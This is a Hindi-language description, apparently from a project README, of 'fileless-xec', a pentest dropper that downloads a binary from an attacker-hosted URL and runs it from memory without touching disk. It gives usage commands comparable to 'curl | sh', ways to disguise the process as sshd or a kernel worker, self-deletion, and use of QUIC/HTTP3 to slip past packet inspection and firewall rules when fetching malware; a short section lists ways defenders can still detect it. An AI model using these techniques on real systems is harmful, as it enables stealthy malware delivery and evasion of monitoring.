
गुप्त ड्रॉपर डिस्क पर रखे बिना रिमोट बाइनरी को निष्पादित करता है .(HTTP3 समर्थन, ICMP समर्थन, अदृश्य निशान, क्रॉस-प्लेटफ़ॉर्म,...)

👋 निश्चित रूप से उपयोगी, मुख्यतः मज़े के लिए, मोटे तौर पर 0x00 लेख से प्रेरित
पेंटेस्ट उपयोग: fileless-xec का उपयोग लक्ष्य मशीन पर बाइनरी फ़ाइल को चुपके से निष्पादित करने के लिए किया जाता है जो हमलावर मशीन पर स्थित होती है
fileless-xec हमें एक दूरस्थ बाइनरी को स्थानीय मशीन पर मेमोरी से सीधे निष्पादित करने की अनुमति देता है, बिना उसे डिस्क पर डाले
fileless-xec [binary_url] (~बाइनरी के लिए curl | sh)fileless-xec -n /usr/sbin/sshd [binary_url]tty से प्रोग्राम निष्पादन अलग करें: fileless-xec --setsid [...]
writeNsleep बाइनरी को निष्पादित करना चाहते हैं जो दूरस्थ मशीन पर स्थित है।
पहले हम दूरस्थ पर एक python http सर्वर शुरू करते हैं।
स्थानीय रूप से हम fileless-xec का उपयोग करते हैं और बाइनरी writeNsleep के निष्पादन के लिए /usr/sbin/sshd नाम का प्रतिरूपण करते हैं (चुपके और मज़े के लिए)। एक बार writeNsleep शुरू होने पर fileless-xec स्वयं को हटा देगा (--self-remove)
fileless-xec स्व-हटानाfileless-xec सर्वर मोड
fileless-xec विंडोज़ परfileless-xec लॉन्च होने के बाद स्वयं को हटा देता हैदूरस्थ बाइनरी फ़ाइल को स्थानीय रूप से memfd_create सिस्टम कॉल का उपयोग करके संग्रहीत किया जाता है, जो इसे एक मेमोरी डिस्क में संग्रहीत करता है जो फ़ाइल सिस्टम में मैप नहीं होती है (अर्थात आप इसे ls का उपयोग करके नहीं ढूंढ सकते)।
नोट: memfd_create सिस्टम कॉल macOS के लिए मौजूद नहीं है।
फिर हम इसे fexecve सिस्टम कॉल का उपयोग करके निष्पादित करते हैं (चूंकि यह वर्तमान में syscall golang लाइब्रेरी द्वारा प्रदान नहीं किया गया है, हम इसे लागू करते हैं)।
fexecveके साथ हम एक प्रोग्राम को निष्पादित कर सकते हैं, लेकिन हम पूर्ण पथ के बजाय एक फ़ाइल डिस्क्रिप्टर का उपयोग करके चलाने के लिए प्रोग्राम को संदर्भित करते हैं।
इसे -Q/http3 फ़्लैग से सक्षम करें। आप go run ./test/http3/light-server.go -p LISTENING_PORT चलाकर http3 समर्थन वाला एक हल्का वेब रूट फ़ाइल सर्वर सेट कर सकते हैं (यह python3 -m http.server के http3 समकक्ष है)प्रमाणपत्र और कुंजी उत्पन्न करने के लिए test/http3/genkey.sh का उपयोग करें।
|
QUIC UDP उर्फ http3 एक नई पीढ़ी का इंटरनेट प्रोटोकॉल है जो ऑनलाइन वेब अनुप्रयोगों को गति देता है जो विलंब के प्रति संवेदनशील हैं, जैसे खोज, वीडियो स्ट्रीमिंग आदि, सर्वर से कनेक्ट होने के लिए आवश्यक राउंड-ट्रिप समय (RTT) को कम करके।
क्योंकि QUIC TLS के समान मालिकाना एन्क्रिप्शन का उपयोग करता है (यह भविष्य में एक मानकीकृत संस्करण के साथ बदल जाएगा), तीसरी पीढ़ी के फ़ायरवॉल जो एप्लिकेशन नियंत्रण और दृश्यता प्रदान करते हैं, QUIC ट्रैफ़िक को नियंत्रित और मॉनिटर करने में कठिनाइयों का सामना करते हैं।
यदि आप वास्तव में fileless-xec का उपयोग ड्रॉपर के रूप में करते हैं (केवल परीक्षण उद्देश्य या प्राधिकरण के साथ), तो संभवतः आप कुछ प्रकार के मैलवेयर या अन्य फ़ाइल निष्पादित करना चाहेंगे जो पैकेट विश्लेषण द्वारा गिराए जा सकते हैं। इसलिए, Quic सक्षम होने पर आप पैकेट विश्लेषण को बायपास कर सकते हैं और GET मैलवेयर प्राप्त कर सकते हैं।
इसके अलावा, यदि फ़ायरवॉल केवल ट्रैफ़िक को अनुमति/अवरुद्ध करने के लिए उपयोग किया जाता है, तो यह हो सकता है कि फ़ायरवॉल नियम udp प्रोटोकॉल को भूल जाते हैं जिससे आपके अनुरोध रडार के नीचे चले जाते हैं
यद्यपि मेमोरी डिस्क पर मौजूद नहीं है, फिर भी चल रहे प्रोग्राम का पता ps कमांड का उपयोग करके लगाया जा सकता है, उदाहरण के लिए।
fileless-xec --name <fake_name> <binary_raw_url> डिफ़ॉल्ट रूप से नाम [kworker/u:0] है
fileless-xec --setsid <binary_raw_url>।
आप अभी भी इससे पकड़े जा सकते हैं:
$ lsof | grep memfd
या opensnoop भी (लेकिन execsnoop से नहीं)
या execve सिस्टम कॉल का ऑडिट करने वाला seccomp प्रोफ़ाइल (लेकिन यह बहुत भारी है क्योंकि sleep कमांड भी execve का उपयोग करता है, उदाहरण के लिए)